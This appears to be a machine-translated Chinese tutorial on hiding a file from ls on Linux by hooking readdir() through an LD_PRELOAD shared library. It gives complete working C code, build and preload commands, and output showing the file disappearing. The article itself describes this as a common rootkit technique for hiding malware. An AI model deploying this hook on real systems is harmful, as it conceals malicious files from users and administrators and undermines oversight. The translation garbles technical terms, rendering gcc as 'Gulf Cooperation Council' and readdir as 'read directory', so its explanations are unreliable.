使用 C 编程在 Linux 中隐藏文件!

说到在 Linux 中隐藏文件,我们都熟悉在文件名前添加一个点来隐藏它的常用方法,例如 ls. 但是,查看这些隐藏文件非常容易; 一个简单的 ls -a 将显示所有隐藏文件。 然而,在这个模块中,我们希望用 C 编写一些代码来完全隐藏我们的文件 ls.

如何 ls 实际工作?

来自 ls 二进制文件的源代码,我们可以看到它使用了函数 读取目录() 函数读取目录内容,进而调用 getdents() 读取目录的内容。 您甚至可以使用以下方法验证这一点:

$ strace /bin/ls ... getdents64(3, 0x555e4d96f400 /* 42 entries */, 32768) = 1328 getdents64(3, 0x555e4d96f400 /* 0 entries */, 32768) = 0 ... 

笔记getdents64 () 非常类似于 getdents() 处理大文件系统和大文件偏移的函数。

读取目录() 功能

看定义 读取目录() 来自 男人 页面,我们可以看到:

struct dirent *readdir(DIR *dirp); 

就这样 读取目录() 函数返回一个指向表示下一个目录条目的目录结构的指针。 dirent 的 glibc 定义是:

struct dirent {                ino_t          d_ino;       /* Inode number */                off_t          d_off;       /* Not an offset; see below */                unsigned short d_reclen;    /* Length of this record */                unsigned char  d_type;      /* Type of file; not supported                                               by all filesystem types */                char           d_name[256]; /* Null-terminated filename */            } 

这里感兴趣的主要参数id 字符 d_name[256] 其中包含文件名

现在隐藏文件 ls,我们将做一些称为进程挂钩的事情 LD_PRELOAD

编写我们在 Linux 中隐藏文件的 C 代码

对于进程挂钩,我们需要定义一个恶意函数 读取目录() 使用与原始参数相同的参数列表,然后将我们的共享库导出到 LD_PRELOAD 环境变量,以便它在被可执行文件调用时在其他共享对象之前加载。

首先,让我们列出将用于创建共享库的代码

#include <dlfcn.h> #include <dirent.h> #include <string.h>  #define FILENAME "secret.txt"  struct dirent *(*original_readdir)(DIR *); struct dirent *readdir(DIR *dirp)  {     struct dirent *ret;          original_readdir = dlsym (RTLD_NEXT, "readdir");     while((ret = original_readdir(dirp)))     {         if(strstr(ret->d_name,FILENAME) == 0 )          	break;     }     return ret; } 

让我们将代码分成几段:

  • 第 1-3 行:包含整个程序中使用的各种函数定义的头文件:
    • 目录: 它有定义 直接的 结构体
    • 文件名: 有函数的定义 dlsym()
    • 字符串.h: 有函数的定义 strstr()
  • 第 5 行:我们定义一个宏,其中包含我们要隐藏的文件的名称
  • 第 7 行:该行包含一个与原始函数具有相同返回类型和相同参数列表的函数定义 读取目录() 功能。 事实上,我们稍后会使用它来指向真正的 读取目录() 功能。
  • 第 8 行:这里我们定义了一个与原函数定义相同的函数。 这是将由类似命令调用的函数 ls 在我们的共享库被导出以进行预加载之后。
  • 第 10 行:我们定义一个指向 a 的指针 说过 结构体。
  • 第 12 行:这里我们实际上初始化了我们在第 7 行中声明的指针 dlsym() 它返回下一次出现的地址(由标志表示 RTDL_NEXT) 的函数 读取目录() 以便 riginal_readdir 现在指向原来的 读取目录() 功能。
  • 第 13-18 行:这里我们创建一个循环来迭代原始返回的值 读取目录() 功能。 它检查了 d_name 返回的参数 说过 结构,如果它具有我们的宏中指定的字符串,则它跳到下一个值,否则返回 说过 结构体。

总而言之,我们正在检查原始函数返回的值,如果我们在那里找到我们的文件名,我们就跳过它。

编译和导出我们的共享对象

一旦我们的程序准备好了,我们需要编译它:

$ gcc malicious.c -fPIC -shared -D_GNU_SOURCE -o hidefile.so -ldl 

分解我们的声明:

  • 海湾合作委员会 : 我们自己的 GNU 编译器集合
  • malicious.c : 我们的程序名称
  • -fPIC : 生成与位置无关的代码
  • shared : 创建一个可以与其他对象链接以生成可执行文件的共享对象
  • -D_GNU_SOURCE : 指定满足 #ifdef 允许我们使用的条件 RTLD_NEXT 枚举。 可选地,可以通过添加来替换此标志 #define _GNU_SOURCE
  • -o : 创建输出文件
  • hidefile.so : 输出文件的名称
  • -ldl : 链接反对 libdl

为了我们的测试目的,让我们创建一个我们将隐藏的文件:

$ echo 'Secret Text' > secret.txt 

现在,如果我们做一个 ls -a ,我们得到:

$ ls -a . .. secret.txt malicious.c hidefile.so 

现在,使用以下命令将共享对象导出到 LD_PRELOAD:

$  LD_PRELOAD=./hidefile.so 

现在我们可以验证我们的共享对象是否已加载:

$ ldd /bin/ls linux-vdso.so.1 (0x00007ffee5c44000) 	./hidefile.so (0x00007fb4b304f000) 	libcap.so.2 => /usr/lib/libcap.so.2 (0x00007fb4b3014000) 	libc.so.6 => /usr/lib/libc.so.6 (0x00007fb4b2e47000) 	libdl.so.2 => /usr/lib/libdl.so.2 (0x00007fb4b2e40000) 	/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fb4b307b000) 

正如我们所见,我们的共享对象已被预加载,因此它将在任何其他共享对象之前加载。 因此,如果我们做一个 ls -a 现在 :

$ ls -a . .. malicious.c hidefile.so 

因此我们已经成功地隐藏了我们的文件 ls ! 您仍然可以访问文件的内容,同时它保持隐藏状态,例如:

$ cat secret.txt Secret Text 

要回到通常的状态,只需使用以下命令从 LD_PRELOAD 中删除共享库:

$  LD_PRELOAD= 

结论

此方法最适用于服务器和 CLI 界面,因为 GUI 文件管理器仍会列出文件。 这种方法很常见 Linux Rootkit 并且通常用于向用户隐藏恶意文件(主要是恶意软件本身)。